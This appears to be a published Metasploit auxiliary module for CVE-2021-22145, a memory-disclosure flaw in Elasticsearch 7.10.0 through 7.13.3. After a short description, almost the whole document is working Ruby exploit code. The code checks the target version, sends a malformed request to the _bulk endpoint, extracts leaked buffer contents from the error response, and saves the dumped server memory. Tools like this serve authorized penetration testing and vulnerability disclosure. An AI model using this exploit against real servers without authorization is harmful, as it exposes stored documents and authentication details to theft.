Headline
Elasticsearch Memory Disclosure
This Metasploit module exploits a memory disclosure vulnerability in Elasticsearch 7.10.0 to 7.13.3 (inclusive). A user with the ability to submit arbitrary queries to Elasticsearch can generate an error message containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details. This vulnerabilitys output is similar to heartbleed.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner DEDUP_REPEATED_CHARS_THRESHOLD = 400 def initialize(info = {}) super( update_info( info, 'Name' => 'Elasticsearch Memory Disclosure', 'Description' => %q{ This module exploits a memory disclosure vulnerability in Elasticsearch 7.10.0 to 7.13.3 (inclusive). A user with the ability to submit arbitrary queries to Elasticsearch can generate an error message containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details. This vulnerability's output is similar to heartbleed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Eric Howard', # discovery 'R0NY' # edb exploit ], 'References' => [ ['EDB', '50149'], ['CVE', '2021-22145'], ['URL', 'https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177'] ], 'DisclosureDate' => '2021-07-21', 'Actions' => [ ['SCAN', { 'Description' => 'Check hosts for vulnerability' }], ['DUMP', { 'Description' => 'Dump memory contents to loot' }], ], 'DefaultAction' => 'SCAN', # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [] # nothing in the docker logs anyways } ) ) register_options( [ Opt::RPORT(9200), OptString.new('USERNAME', [ false, 'User to login with', '']), OptString.new('PASSWORD', [ false, 'Password to login with', '']), OptString.new('TARGETURI', [ true, 'The URI of the Elastic Application', '/']), OptInt.new('LEAK_COUNT', [true, 'Number of times to leak memory per SCAN or DUMP invocation', 1]) ] ) end def get_version vprint_status('Querying version information...') request = { 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' } request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? || datastore['PASSWORD'].present? res = send_request_cgi(request) return nil if res.nil? return nil if res.code == 401 if res.code == 200 && !res.body.empty? json_body = res.get_json_document if json_body.empty? vprint_error('Unable to parse JSON') return end end json_body.dig('version', 'number') end def check_host(_ip) version = get_version return CheckCode::Unknown("#{peer} - Could not connect to web service, or unexpected response") if version.nil? if Rex::Version.new(version) <= Rex::Version.new('7.13.3') && Rex::Version.new(version) >= Rex::Version.new('7.10.0') return Exploit::CheckCode::Appears("Exploitable Version Detected: #{version}") end Exploit::CheckCode::Safe("Unexploitable Version Detected: #{version}") end def leak_count datastore['LEAK_COUNT'] end # Stores received data def loot_and_report(data) if data.to_s.empty? vprint_error("Looks like there isn't leaked information...") return end print_good("Leaked #{data.length} bytes") report_vuln({ host: rhost, port: rport, name: name, refs: references, info: "Module #{fullname} successfully leaked info" }) if action.name == 'DUMP' # Check mode, dump if requested. path = store_loot( 'elasticsearch.memory.disclosure', 'application/octet-stream', rhost, data, nil, 'Elasticsearch server memory' ) print_good("Elasticsearch memory data stored in #{path}") end # Convert non-printable characters to periods printable_data = data.gsub(/[^[:print:]]/, '.') # Keep this many duplicates as padding around the deduplication message duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round # Remove duplicate characters abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s| s[0, duplicate_pad] + ' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' + s[-duplicate_pad, duplicate_pad] end # Show abbreviated data vprint_status("Printable info leaked:\n#{abbreviated_data}") end def bleed request = { 'uri' => normalize_uri(target_uri.path, '_bulk'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => "@\n" } request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? || datastore['PASSWORD'].present? res = send_request_cgi(request) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 400 json_body = res.get_json_document if json_body.empty? vprint_error('Unable to parse JSON') return end leak1 = json_body.dig('error', 'root_cause') return if leak1.blank? leak1 = leak1[0]['reason'] return if leak1.nil? leak1 = leak1.split('(byte[])"')[1].split('; line')[0] leak2 = json_body.dig('error', 'reason') return if leak2.nil? leak2 = leak2.split('(byte[])"')[1].split('; line')[0] "#{leak1}\n#{leak2}" end def run memory = '' 1.upto(leak_count) do |count| vprint_status("Leaking response ##{count}") memory << bleed end loot_and_report(memory) endend